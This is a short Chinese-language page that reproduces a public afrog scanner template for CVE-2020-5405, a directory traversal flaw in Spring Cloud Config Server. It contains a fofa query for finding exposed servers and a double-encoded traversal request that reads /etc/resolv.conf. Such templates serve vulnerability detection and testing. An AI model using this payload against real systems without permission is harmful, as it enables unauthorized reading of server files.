CVE-2020-5405: Spring Cloud Directory Traversal

漏洞描述

Spring Cloud Config Server Directory Traversal fofa: "Spring Cloud Config Server"

PoC代码[已公开]

id: CVE-2020-5405

info:
  name: Spring Cloud Directory Traversal
  author: kingkk
  severity: medium
  description: |
    Spring Cloud Config Server Directory Traversal
    fofa: "Spring Cloud Config Server"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5405
  tags: cve,cve2020,springcloud,traversal,readfile
  created: 2023/08/17

rules:
  r0:
    request:
      method: GET
      path: /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit."))
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-5405.yaml